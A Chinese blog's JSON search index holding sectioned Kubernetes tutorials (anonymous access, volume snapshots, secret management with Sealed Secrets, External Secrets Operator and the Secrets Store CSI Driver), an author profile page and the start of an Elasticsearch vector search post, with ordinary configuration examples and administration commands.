的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"结论 允许某种级别的匿名访问是 Kubernetes 中的常见默认设置。这本身并不是一个很大的安全问题,但它确实意味着在许多配置中,阻止攻击者破坏您的集群的唯一方法是 RBAC 规则,因此一个错误可能会导致重大问题,尤其是当您的集群暴露在互联网上时。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:5:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"Kubernetes snapshots 快照是什么以及如何使用快照?","date":"2023-03-20","objectID":"/k8s-snapshots-usage/","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://blog.palark.com/kubernetes-snaphots-usage/ 随着 Kubernetes 中快照控制器的引入,现在可以为支持此功能的 CSI 驱动程序和云提供商创建快照。 API 是通用的且独立于供应商,这对于 Kubernetes 来说是典型的,因此我们可以探索它而无需深入了解特定实现的细节。让我们仔细看看快照,看看它们如何使 Kubernetes 用户受益。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:0:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"介绍 首先,让我们澄清什么是快照。快照是文件系统在特定时间点的状态。您可以保存它并在以后使用它来恢复该特定状态。创建快照的过程几乎是瞬时的。创建快照后,对原始文件系统的所有更改都将写入不同的块。 由于快照数据与原始数据存储在同一位置,因此快照不能替代备份。同时,基于快照而不是实时数据的备份更加一致。这是因为在创建快照时保证所有数据都是最新的。 必须安装 snapshot-controller (所有 CSI driver 的通用组件),并且必须在 Kubernetes 集群中定义以下 CRD 才能使用快照功能: VolumeSnapshotClass – 相当于快照的 StorageClass; VolumeSnapshotContent – 相当于快照的 PV; VolumeSnapshot – 相当于快照的 PVC。 最重要的是,CSI 驱动程序必须支持快照创建并具有相关的 csi-snapshotter controller。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:1:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"快照在 Kubernetes 中是如何工作的? 他们运作背后的逻辑很简单。有几个实体;VolumeSnapshotClass 描述快照创建的参数,例如 CSI driver。您还可以在那里指定其他设置,例如,快照是否应该是增量的以及它们应该存储在哪里。 创建 VolumeSnapshot 时,您必须指定将为其创建快照的 PersistentVolumeClaim。 拍摄快照时,CSI 驱动程序会在集群中创建一个 VolumeSnapshotContent 资源并设置其参数(通常是资源 ID)。 接下来,快照控制器绑定 VolumeSnapshot 到 VolumeSnapshotContent(就像 PV 和 PVC 一样)。 创建新的 PersistentVolume 时,您可以将先前创建的 VolumeSnapshot 设置为 dataSource 以使用其数据。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:2:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"配置 VolumeSnapshotClass 允许您指定各种 VolumeSnapshot 属性,例如 CSI 驱动程序名称和其他云提供商/数据存储相关参数。下面提供了几个 VolumeSnapshotClass 资源定义示例的链接 : OpenStack vSphere AWS Azure LINSTOR GCP CephFS Ceph RBD 创建 VolumeSnapshotClass 后 ,您就可以开始拍摄快照了。让我们来看看一些典型的用例。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:3:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例一:PVC templates 假设我们想要一些包含数据的 PVC 模板,并在需要时克隆它。在以下情况下这可能会派上用场: 使用数据快速创建开发环境; 在不同节点上使用多个 Pod 同时处理数据。 这背后的魔力是创建一个标准 PVC,用你想要的数据填充它,然后创建另一个 PVC 以原始集作为其源: --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-worker1 spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: pvc-template kind: PersistentVolumeClaim accessModes: - ReadWriteOnce resources: requests: storage: 10Gi 您将获得包含所有数据的原始 PVC 的完整克隆,您可以立即使用。快照机制在这里是完全透明的,所以我们甚至不必使用上述任何资源。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:4:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例二:用于测试的快照 此案例展示了如何在不干扰生产的情况下安全地对实时数据进行数据库迁移建模。 我们必须克隆我们的应用程序使用的现有 PVC(就像在上面的示例中一样)以及具有克隆 PVC 的新应用程序版本来测试升级。如果遇到问题,您可以创建一个新的克隆并重试。 测试完成后,可以将新版本的应用程序部署到生产环境中。但首先,创建一个 mypvc-before-upgrade 快照,这样您就可以随时恢复到升级前的状态。快照是使用 VolumeSnapshots 资源创建的。在其中指定创建快照的目标 PVC: apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: mypvc-before-upgrade spec: volumeSnapshotClassName: linstor source: persistentVolumeClaimName: mypvc mypvc-before-upgrade 切换到新版本后,您始终可以通过将快照指定为 PVC 源来恢复到升级前的状态: apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mypvc spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: mypvc-before-upgrade kind: VolumeSnapshot apiGroup: snapshot.storage.k8s.io accessModes: - ReadWriteOnce resources: requests: storage: 10Gi ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:5:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例三:使用快照做一致性备份 快照对于在运行环境中创建一致的备份是不可或缺的。没有它们,就没有办法在不先暂停应用程序的情况下进行 PVC 备份。 如果您尝试在应用程序运行时复制整个卷,则很可能会覆盖其中的某些部分。为避免这种情况,您可以拍摄快照并将其用于备份。 有多种工具可用于在 Kubernetes 中进行备份,这些工具尊重应用程序的逻辑且/或使用快照机制。其中一个工具 Velero 允许您自动使用快照,安排额外的挂钩将数据重置到磁盘,并暂停/恢复应用程序以获得更好的备份一致性。 同时,一些供应商提供了内置的备份功能。例如,LINSTOR 允许您自动将快照上传到远程 S3 服务器,并支持完整和增量备份。 为了从此功能中受益,您需要创建一个专用的 VolumeSnapshotClass 包含访问远程 S3 服务器所需的所有参数: --- kind: VolumeSnapshotClass apiVersion: snapshot.storage.k8s.io/v1 metadata: name: linstor-minio driver: linstor.csi.linbit.com deletionPolicy: Retain parameters: snap.linstor.csi.linbit.com/type: S3 snap.linstor.csi.linbit.com/remote-name: minio snap.linstor.csi.linbit.com/allow-incremental: \"false\" snap.linstor.csi.linbit.com/s3-bucket: foo snap.linstor.csi.linbit.com/s3-endpoint: XX.XXX.XX.XXX.nip.io snap.linstor.csi.linbit.com/s3-signing-region: minio snap.linstor.csi.linbit.com/s3-use-path-style: \"true\" csi.storage.k8s.io/snapshotter-secret-name: linstor-minio csi.storage.k8s.io/snapshotter-secret-namespace: minio --- kind: Secret apiVersion: v1 metadata: name: linstor-minio namespace: minio immutable: true type: linstor.csi.linbit.com/s3-credentials.v1 stringData: access-key: minio secret-key: minio123 新创建的快照现在将被推送到远程 S3 服务器: --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: mydb-backup1 spec: volumeSnapshotClassName: linstor-minio source: persistentVolumeClaimName: db-data 有趣的是,您可以在不同的 Kubernetes 集群中使用它们。为此,除了 VolumeSnapshotClass 之外,您还必须定义 VolumeSnapshotContent 和 VolumeSnapshot: --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshotContent metadata: name: example-backup-from-s3 spec: deletionPolicy: Delete driver: linstor.csi.linbit.com source: snapshotHandle: snapshot-0a829b3f-9e4a-4c4e-849b-2a22c4a3449a volumeSnapshotClassName: linstor-minio volumeSnapshotRef: apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot name: example-backup-from-s3 namespace: new-cluster --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: example-backup-from-s3 spec: source: volumeSnapshotContentName: example-backup-from-s3 volumeSnapshotClassName: linstor-minio 请注意,您必须在 VolumeSnapshotContent 中通过 snapshotHandle 参数指定存储系统的快照 ID。 现在您可以使用备份快照作为数据源来创建新的 PVC: apiVersion: v1 kind: PersistentVolumeClaim metadata: name: restored-data namespace: new-cluster spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: example-backup-from-s3 kind: VolumeSnapshot apiGroup: snapshot.storage.k8s.io accessModes: - ReadWriteOnce resources: requests: storage: 10Gi ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:6:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"结论 借助快照,您可以通过创建一致的备份和克隆卷来更有效地利用您的存储解决方案。它们还允许您避免在不必要时复制数据。这是快照,让您的生活更轻松、更美好! ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:7:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"Kubernetes 的 secret 并不是真正的 secret","date":"2023-03-19","objectID":"/k8s-secret-management/","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://auth0.com/blog/kubernetes-secrets-management/#Sealed-Secrets ","date":"2023-03-19","objectID":"/k8s-secret-management/:0:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"引言 Kubernetes 已经成为现代软件基础设施中不可或缺的一部分。因此,管理 Kubernetes 上的敏感数据也是现代软件工程的一个重要方面,这样您就可以将安全性重新置于 DevSecOps 中。Kubernetes 提供了一种使用 Secret 对象存储敏感数据的方法。虽然总比没有好,但它并不是真正的加密,因为它只是 base64 编码的字符串,任何有权访问集群或代码的人都可以对其进行解码。 注意: 默认情况下,Kubernetes Secrets 未加密存储在 API 服务器的底层数据存储 (etcd) 中。具有 API 访问权限的任何人都可以检索或修改 Secret,任何具有 etcd 访问权限的人也可以。此外,任何有权在命名空间中创建 Pod 的人都可以使用该访问权限来读取该命名空间中的任何 Secret;这包括间接访问,例如创建 Deployment 的能力。— Kubernetes 文档 使用正确的 RBAC 配置和保护 API 服务器可以解决从集群读取 secret 的问题,了解有关 RBAC 和集群 API 安全性的更多信息请查看如何使用最佳实践保护您的 Kubernetes 集群。保护源代码中的的 secret 是更大的问题。每个有权访问包含这些 secret 的存储库的人也可以解码它们。这使得在 Git 中管理 Kubernetes secret 变得非常棘手。 让我们看看如何使用更安全的方式设置 secret : Sealed Secrets External Secrets Operator Secrets Store CSI driver 您需要一个 Kubernetes 集群来运行示例。我使用 k3d 创建了一个本地集群。您也可以使用 kind 或 minikube 。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:1:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"Sealed Secrets Sealed Secrets 是一个开源的 Kubernetes 控制器和来自 Bitnami 的客户端 CLI 工具,旨在使用非对称密码加密解决“在 Git 中存储 secret ”问题的一部分。具有 RBAC 配置的 Sealed Secrets 防止非管理员读取 secret 是解决整个问题的绝佳解决方案。 它的工作原理如下: 使用公钥和 kubeseal CLI 在开发人员机器上加密 secret 。这会将加密的 secret 编码为 Kubernetes 自定义资源定义 (CRD)。 将 CRD 部署到目标集群。 Sealed Secret 控制器使用目标集群上的私钥对机密进行解密,以生成标准的 Kubernetes secret。 私钥仅供集群上的 Sealed Secrets 控制器使用,公钥可供开发人员使用。这样,只有集群才能解密机密,而开发人员只能对其进行加密。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 支持模板定义,以便可以将元数据添加到未加密的 secret 中。例如,您可以使用模板定义为未加密的 secret 添加标签和注释。 未加密的 secret 将由加密的 secret CRD 拥有,并在加密的 secret 更新时更新。 默认情况下,证书每 30 天轮换一次,并且可以自定义。 secret 使用每个集群、命名空间和 secret 组合(私钥+命名空间名称+ secret 名称)的唯一密钥进行加密,防止解密中出现任何漏洞。在加密过程中,可以使用 strict, namespace-wide, cluster-wide 来配置范围。 可用于管理集群中的现有 secret。 具有 VSCode 扩展,使其更易于使用。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 由于它将加密的 secret 解密为常规 secret ,如果您有权访问集群和命名空间,您仍然可以解码它们。 需要为每个集群环境重新加密,因为密钥对对于每个集群都是唯一的。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"安装 在集群上安装 controller,在本地机器上安装 CLI。 从 release 页面下载 controller.yaml。 执行 kubectl apply -f controller.yaml 将 controller 部署到集群中。控制器将安装到 kube-system 命名空间下。 安装 CLI,通过 brew install kubeseal 安装,或者从 release 页面下载。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 让我们创建一个 sealed secret 。 创建一个 secret,通过命令 kubectl create secret 或者编写 yaml 文件,如下所示: echo -n secretvalue | kubectl create secret generic mysecret \\ --dry-run=client \\ --from-file=foo=/dev/stdin -o yaml \u003e my-secret.yaml 这将产生一个如下所示的 secret 定义; # my-secret.yaml apiVersion: v1 data: foo: c2VjcmV0dmFsdWU= kind: Secret metadata: creationTimestamp: null name: mysecret 使用 kubeseal CLI 加密 secret。这将使用从服务器获取的公钥加密 secret 并生成加密的 secret 定义。现在可以丢弃 my-secret.yaml 文件。您也可以下载公钥并在本地离线使用。 kubeseal --format yaml \u003c my-secret.yaml \u003e my-sealed-secret.yaml 这将产生一个加密的 secret 定义,my-sealed-secret.yaml,如下所示; # my-sealed-secret.yaml apiVersion: bitnami.com/v1alpha1 kind: SealedSecret metadata: creationTimestamp: null name: mysecret namespace: default spec: encryptedData: foo: AgA6a4AGzd7qzR8mTPqTPFNor8tTtT5...== template: metadata: creationTimestamp: null name: mysecret namespace: default 此文件可以安全地提交到 Git 或与其他开发人员共享。 最后,您可以将其部署到要解封的集群中。 kubectl apply -f my-sealed-secret.yaml 现在,您可以在集群中看到未加密的 secret 。 kubectl describe secret mysecret 您可以像使用任何其他 Kubernetes 密钥一样在部署中使用此密钥。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"External Secrets Operator Sealed Secrets 是保护 secret 的方式之一,但除此之外还有更好的方法。使用 External Secrets Operator (ESO) 和外部 secret 管理系统,如 HashiCorp Vault、AWS Secrets Manager、Google Secrets Manager 或 Azure Key Vault。虽然设置起来有点复杂,但如果您使用云提供商来托管您的 Kubernetes 集群,这是一种更好的方法。ESO 支持许多这样的 secret 管理器并监视外部 secret 存储的变化,并使 Kubernetes secret 保持同步。 ESO 提供了四个 CRD 来管理 secret。ExternalSecret 和 ClusterExternalSecret CRD 定义需要获取哪些数据以及如何转换这些数据。SecretStore 和 ClusterSecretStore CRD 定义了与外部 secret 存储的连接细节。Cluster 前缀的 CRD 表示作用范围是集群。 它的工作原理如下; 创建 SecretStoreCRD 以定义与外部机密存储的连接详细信息。 在外部 secret 存储中创建 secret 。 创建一个 ExternalSecretCRD 来定义需要从外部 secret 存储中获取的数据。 将 CRD 部署到目标集群。 ESO 控制器将从外部 secret 存储中获取数据并创建 Kubernetes secret 。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 secret 存储在安全的外部 secret 管理器中,而不是代码存储库中。 使 secret 与外部 secret 管理器保持同步。 与许多外部 secret 管理者合作。 可以在同一个集群中使用多个 secret 存储。 提供用于监控的 Prometheus 指标。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 需要精心设置才能使用。 创建一个 Kubernetes secret 对象,如果您有权访问集群和命名空间,则可以对其进行解码。 依靠外部 secret 管理器及其访问策略来确保安全。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"安装 可以使用以下命令通过 Helm 安装 ESO : helm repo add external-secrets https://charts.external-secrets.io helm install external-secrets \\ external-secrets/external-secrets \\ --namespace external-secrets \\ --create-namespace 如果您想在 Helm release 中包含 ESO,请将 --set installCRDs=true 标志添加到上述命令中。 让我们看看如何将 ESO 与不同的 secret 管理器一起使用。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 HashiCorp Vault HashiCorp Vault 是一个流行的 secret 管理器,提供不同的 secret 引擎。ESO 只能与 Vault 提供的 KV Secrets Engine 一起使用。Vault 在 HashiCorp 云平台 (HCP) 上提供了一个您可以自行管理的免费开源版本和一个带有免费等级的托管版本。 确保您在本地 Vault 实例或 HCP cloud 中设置了键值 secret 存储。您还可以使用 Vault Helm chart 将 Vault 部署到 Kubernetes 集群。 创建一个新的 SecretStore CRD,vault-backend.yaml,以定义与 Vault 的连接详细信息。 # vault-backend.yaml apiVersion: external-secrets.io/v1beta1 kind: SecretStore metadata: name: vault-backend spec: provider: vault: server: 'YOUR_VAULT_ADDRESS' path: 'secret' version: 'v2' namespace: 'admin' # required for HCP Vault auth: # points to a secret that contains a vault token # https://www.vaultproject.io/docs/auth/token tokenSecretRef: name: 'vault-token' key: 'token' 创建一个 secret 资源来保存 Vault token。使用具有对 Vault KV 存储中的 secret/ 路径具有读取权限的策略的令牌。 kubectl create secret generic vault-token \\ --dry-run=client \\ --from-literal=token=YOUR_VAULT_TOKEN 在 Vault 中创建一个 secret 。如果您使用的是 Vault CLI,则可以使用以下命令创建一个 secret 。确保您使用适当的策略从 CLI 登录到 vault 实例。 vault kv put secret/mysecret my-value=supersecret 创建一个 ExternalSecret CRD 来定义需要从 Vault 中获取的数据。 # vault-secret.yaml apiVersion: external-secrets.io/v1beta1 kind: ExternalSecret metadata: name: vault-example spec: refreshInterval: '15s' secretStoreRef: name: vault-backend kind: SecretStore target: name: vault-example-sync data: - secretKey: secret-from-vault remoteRef: key: secret/mysecret property: my-value 将上述 CRD 应用到集群,它应该使用从 Vault 获取的数据创建一个名为 vault-example-sync 的 Kubernetes secret。 kubectl apply -f vault-backend.yaml kubectl apply -f vault-secret.yaml 您可以使用 kubectl describe 命令查看集群中的 secret。 kubectl describe secret vault-example-sync # output should have the below data Name: vault-example-sync Namespace: default Labels: \u003cnone\u003e Annotations: reconcile.external-secrets.io/data-hash: ... Type: Opaque Data ==== secret-from-vault: 16 bytes 如果您在创建 secret 时遇到问题,请检查 ExternalSecret 资源描述输出的 events 部分。 kubectl describe externalsecret vault-example 如果您看到权限错误,请确保使用具有正确策略的令牌。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"其他 secret managers 设置其他 secret 管理器与上述步骤类似。唯一的区别是 SecretStore CRD 和 ExternalSecret CRD 中的 remoteRef 部分。您可以在 ESO 文档中找到针对不同提供商的官方指南。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:5","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"Secrets Store CSI Driver Secrets Store CSI Driver 是一个原生的上游 Kubernetes 驱动程序,可用于从工作负载中抽象出 secret 的存储位置。如果您想使用云提供商的 secret 管理器而不将 secret 公开为 Kubernetes secret 对象,您可以使用 CSI 驱动程序将 secret 作为卷安装在您的 pod 中。如果您使用云提供商来托管您的 Kubernetes 集群,这是一个很好的选择。该驱动程序支持许多云提供商,并且可以与不同的 secret 管理器一起使用。 Secrets Store CSI Driver 是一个 daemonset 守护进程,它与 secret 提供者通信以检索 SecretProviderClass 自定义资源中指定的 secret 。 它的工作原理如下; 创建一个 SecretProviderClassCRD 来定义从 secret 提供者获取的 secret 的详细信息。 在 pod 的 volume spec 中引用 SecretProviderClass。 驱动程序将从 secret 提供者那里获取 secret ,并在 pod 启动期间将其作为 tmpfs 卷挂载到 pod 中。该卷也将在 pod 删除后被删除。 驱动程序还可以同步对 secret 的更改。该驱动程序目前支持 Vault、AWS、Azure 和 GCP 提供商。Secrets Store CSI Driver 也可以将加密数据同步为 Kubernetes secret,只需要在安装期间明确启用此行为。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 secret 存储在安全的外部 secret 管理器中,而不是代码存储库中。 使机密与外部机密管理器保持同步。它还支持 secret 的轮换。 与所有主要的外部 secret 管理者合作。 将密钥作为卷安装在 pod 中,因此它们不会作为 Kubernetes secret 公开。它也可以配置为创建 Kubernetes secret。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 需要精心设置才能使用,并且比 ESO 更复杂。 使用比 ESO 更多的资源,因为它需要在每个节点上运行。 依赖于外部 secret 存储及其访问策略来确保安全。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 Google Secret Manager provider 让我们看看如何配置 driver 以使用 Google Secret Manager (GSM) 作为 secret provider。 确保您使用的是启用了 Workload Identity 功能的 Google Kubernetes Engine (GKE) 集群。Workload Identity 允许 GKE 集群中的工作负载模拟身份和访问管理 (IAM) 服务帐户来访问 Google Cloud 服务。您还需要为项目启用 Kubernetes Engine API、Secret Manager API 和 Billing。如果未启用, gcloud CLI 会提示您启用这些 API。 可以使用以下 gcloud CLI 命令创建启用了 Workload Identity 的新集群。 export PROJECT_ID=\u003cyour gcp project\u003e gcloud config set project $PROJECT_ID gcloud container clusters create hello-hipster \\ --workload-pool=$PROJECT_ID.svc.id.goog 安装 Secrets Store CSI Driver 可以使用 Helm 命令在集群上安装 Secrets Store CSI 驱动程序: helm repo add secrets-store-csi-driver https://kubernetes-sigs.github.io/secrets-store-csi-driver/charts helm install csi-secrets-store \\ secrets-store-csi-driver/secrets-store-csi-driver \\ --namespace kube-system 这将在 kube-system 命名空间下安装驱动程序和 CRD 。您还需要将所需的 provider 安装到集群中。 安装 GSM provider 让我们将 GSM provider 安装到集群中: kubectl apply -f https://raw.githubusercontent.com/GoogleCloudPlatform/secrets-store-csi-driver-provider-gcp/main/deploy/provider-gcp-plugin.yaml 创建 secret 首先,您需要设置一个工作负载身份服务帐户。 # Create a service account for workload identity gcloud iam service-accounts create gke-workload # Allow \"default/mypod\" to act as the new service account gcloud iam service-accounts add-iam-policy-binding \\ --role roles/iam.workloadIdentityUser \\ --member \"serviceAccount:$PROJECT_ID.svc.id.goog[default/mypodserviceaccount]\" \\ gke-workload@$PROJECT_ID.iam.gserviceaccount.com 现在让我们创建一个该服务帐户可以访问的密钥。 # Create a secret with 1 active version echo \"mysupersecret\" \u003e secret.data gcloud secrets create testsecret --replication-policy=automatic --data-file=secret.data rm secret.data # grant the new service account permission to access the secret gcloud secrets add-iam-policy-binding testsecret \\ --member=serviceAccount:gke-workload@$PROJECT_ID.iam.gserviceaccount.com \\ --role=roles/secretmanager.secretAccessor 现在您可以创建一个 SecretProviderClass 资源,用于从 GSM 获取密钥。请记住将 $PROJECT_ID 替换为您的 GCP 项目 ID。 # secret-provider-class.yaml apiVersion: secrets-store.csi.x-k8s.io/v1 kind: SecretProviderClass metadata: name: app-secrets spec: provider: gcp parameters: secrets: | - resourceName: \"projects/$PROJECT_ID/secrets/testsecret/versions/latest\" path: \"good1.txt\" - resourceName: \"projects/$PROJECT_ID/secrets/testsecret/versions/latest\" path: \"good2.txt\" 创建一个 Pod 现在您可以创建一个 pod 去使用该 SecretProviderClass 资源从 GSM 获取密钥。请记住将 $PROJECT_ID 替换为您的 GCP 项目 ID。 # my-pod.yaml apiVersion: v1 kind: ServiceAccount metadata: name: mypodserviceaccount namespace: default annotations: iam.gke.io/gcp-service-account: gke-workload@$PROJECT_ID.iam.gserviceaccount.com --- apiVersion: v1 kind: Pod metadata: name: mypod namespace: default spec: serviceAccountName: mypodserviceaccount containers: - image: gcr.io/google.com/cloudsdktool/cloud-sdk:slim imagePullPolicy: IfNotPresent name: mypod resources: requests: cpu: 100m stdin: true stdinOnce: true terminationMessagePath: /dev/termination-log terminationMessagePolicy: File tty: true volumeMounts: - mountPath: '/var/secrets' name: mysecret volumes: - name: mysecret csi: driver: secrets-store.csi.k8s.io readOnly: true volumeAttributes: secretProviderClass: 'app-secrets' 将上述资源应用到集群中。 kubectl apply -f secret-provider-class.yaml kubectl apply -f my-pod.yaml 等待 pod 启动,然后 exec 进入 pod 查看挂载文件的内容。 kubectl exec -it mypod /bin/bash # execute the below command in the pod to see the contents of the mounted secret file root@mypod:/# cat /var/secrets/good1.txt ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"其他 secret 管理器 您可以找到服务提供商的类似指南:AWS CSI provider、Azure CSI provider 和 Vault CSI provider。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"结论 Sealed Secrets 是小型团队和项目在 Git 中保护 secret 的绝佳解决方案。对于较大的团队和项目,External Secrets Operator 或 Secrets Store CSI Driver 是安全管理密钥的更好的解决方案。External Secrets Operator 可以与许多 secret 管理系统一起使用,并不限于上述系统。当然,这应该与 RBAC 一起使用,以防止非管理员读取集群中的 secret 。Secrets Store CSI Driver 可能比 ESO 涉及更多,但它是一个更原生的解决方案。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:5:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":null,"content":"本人具有多年研发和架构经验。我的博客将会持续分享有关 Node.js,Python,Golang,编程,应用开发,消息队列,中间件,数据库,容器化,云原生,大数据,图像处理,机器学习,人工智能,架构,程序员成长等等一系列文章。 ","date":"2023-02-14","objectID":"/about/:0:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"⭐ 我是凌虚 🧑‍💻 一名软件开发工程师与系统架构师。 🌐 曾主导的互联网项目处理日均千万级 PV 流量,管理数十亿级别的图片。 🔥 曾负责研发的前沿脑科学和医疗仪器项目服务于数十家医疗和科研机构。 ❤️ 丰富的技术广度,擅长 Node.js、Golang,后端、大数据、Kubernetes 云原生等诸多领域。 🏠 目前生活在杭州,欢迎向我推荐新的工作机会。 💬 欢迎与我微信 rifewang 交流。 ","date":"2023-02-14","objectID":"/about/:1:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"🛠 我的技术栈 💻 🔧 🌐 🛢 ","date":"2023-02-14","objectID":"/about/:2:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"我的完整简历 点击查看我的简历,欢迎向我推荐新的工作机会😁 欢迎关注我的微信公众号,并与我交流: ","date":"2023-02-14","objectID":"/about/:3:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 向量搜索 本文将会介绍 Elasticsearch 向量搜索的两种方式。 ","date":"2022-04-15","objectID":"/es-vector-search/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"向量搜索 提到向量搜索,我想你一定想知道: 向量搜索是什么? 向量搜索的应用场景有哪些? 向量搜索与全文搜索有何不同? ES 的全文搜索简而言之就是将文本进行分词,然后基于词通过 BM25 算法计算相关性得分,从而找到与搜索语句相似的文本,其本质上是一种 term-based(基于词)的搜索。 全文搜索的实际使用已经非常广泛,核心技术也非常成熟。但是,除了文本内容之外,现实生活中还有非常多其它的数据形式,例如:图片、音频、视频等等,我们能不能也对这些数据进行搜索呢? 